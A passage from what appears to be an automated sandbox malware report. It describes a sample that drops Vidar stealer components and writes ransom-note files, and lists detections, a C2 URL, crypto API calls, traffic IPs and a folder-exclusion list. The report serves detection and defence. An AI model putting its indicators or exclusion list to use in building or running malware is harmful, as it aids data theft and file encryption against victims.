".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E
Source: 00000007.00000002.1730456687.0000000001A90000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	ReversingLabs: Detection: 86%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: AaIo4VGgvO.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00411178 CryptDestroyHash,CryptReleaseContext,	1_2_00411178
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040E870
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	1_2_0040EA51
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040EAA0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	1_2_0040EC68
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	1_2_00410FC0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040E870
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040EAA0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	4_2_00410FC0
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00411178 CryptDestroyHash,CryptReleaseContext,	4_2_00411178
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	4_2_0040EA51
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	4_2_0040EC68

Source: AaIo4VGgvO.exe, 00000004.00000003.2137278747.0000000003117000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_681ece9b-f

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Unpacked PE file: 1.2.AaIo4VGgvO.exe.400000.0.unpack
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Unpacked PE file: 4.2.AaIo4VGgvO.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Unpacked PE file: 6.2.AaIo4VGgvO.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Unpacked PE file: 12.2.AaIo4VGgvO.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Unpacked PE file: 14.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Unpacked PE file: 24.2.AaIo4VGgvO.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack

Source: AaIo4VGgvO.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\_README.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.67.208.180:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49752 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\d8bbwe\ source: AaIo4VGgvO.exe, 00000004.00000003.2213551440.000000000368C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s Q source: AaIo4VGgvO.exe, 00000004.00000003.2090014411.0000000003134000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2138048303.0000000003433000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137048054.0000000003410000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: AaIo4VGgvO.exe, 00000004.00000003.2090014411.0000000003123000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2146063080.000000000366D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146521674.000000000369D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2203358546.0000000003845000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.0000000003845000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\i\ source: AaIo4VGgvO.exe, 00000004.00000003.2144138093.0000000003419000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2156757540.000000000347F000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2144841046.0000000003463000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2145806123.000000000347E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2213925776.00000000033E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Z source: AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\p source: AaIo4VGgvO.exe, 00000004.00000003.2180598083.00000000036EC000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2183210563.0000000003705000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165024290.00000000036AD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2182438639.00000000036ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: AaIo4VGgvO.exe, 00000004.00000003.2088931285.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2187328951.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197213613.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197924531.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198348821.00000000037A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\& source: AaIo4VGgvO.exe, 00000004.00000003.1865432728.0000000003196000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2213071160.00000000037CA000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209294827.0000000003476000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2089852321.0000000003187000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114895602.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114580956.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116312815.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116383631.000000000318B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088573099.0000000003170000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\t\s\* source: AaIo4VGgvO.exe, 00000004.00000003.2136424748.0000000003334000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136761292.000000000336A000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136156466.00000000032F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb975188232.txt/ source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\; source: AaIo4VGgvO.exe, 00000004.00000003.2205165799.0000000003476000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.bgjs source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgjsM source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1729414853.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1725816575.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1727737398.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2213551440.000000000368C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbg source: AaIo4VGgvO.exe, 00000004.00000003.2088931285.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 00000009.00000002.1853790113.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000009.00000000.1743285569.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000E.00000000.1852789120.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000011.00000000.1861897358.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000011.00000002.1943724924.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.1942013054.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2325242683.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2400652471.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2399918134.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2916135205.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.3012410654.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.3011582267.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3632762801.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3515414629.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3631999278.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\U source: AaIo4VGgvO.exe, 00000004.00000003.2197665887.00000000037E5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2204304011.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: AaIo4VGgvO.exe, 00000004.00000003.2138181494.00000000032A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\2 source: AaIo4VGgvO.exe, 00000004.00000003.2088092006.00000000032E2000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088822719.00000000032F6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088776965.00000000032EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\45\ source: AaIo4VGgvO.exe, 00000004.00000003.2209492135.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\emp\( source: AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ry\sI) source: AaIo4VGgvO.exe, 00000004.00000003.2137946513.00000000032C7000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114361589.00000000032A1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116544720.00000000032C0000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115675931.00000000032BF000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137579843.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115372171.00000000032B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbw source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\che\ source: AaIo4VGgvO.exe, 00000004.00000003.2157503613.00000000032F5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2164897369.00000000032F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\n source: AaIo4VGgvO.exe, 00000004.00000003.2213313921.0000000003812000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216430184.0000000003833000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: AaIo4VGgvO.exe, 00000004.00000003.2192077434.0000000003340000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2187053912.0000000003302000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2191252603.0000000003340000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2197523305.00000000036BC000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2188411803.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189794393.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2190339728.00000000036B5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: AaIo4VGgvO.exe, 00000004.00000003.2197523305.000000000369C000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198664348.000000000369C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error\* source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2114361589.00000000032A1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1833020898.00000000032A7000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116619441.00000000032DF000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088708695.00000000032C5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088140446.00000000032AE000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115585911.00000000032D3000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115372171.00000000032B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ Dat source: AaIo4VGgvO.exe, 00000004.00000003.2155785156.0000000003152000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165688622.0000000003157000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\3d8bbwe\p source: AaIo4VGgvO.exe, 00000004.00000003.2213742071.0000000003309000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216237857.0000000003309000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2221891243.0000000003309000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\"v source: AaIo4VGgvO.exe, 00000004.00000003.2138048303.0000000003433000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138701335.0000000003443000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137048054.0000000003410000.00000004.00000020.00020000.00000000.sdmp
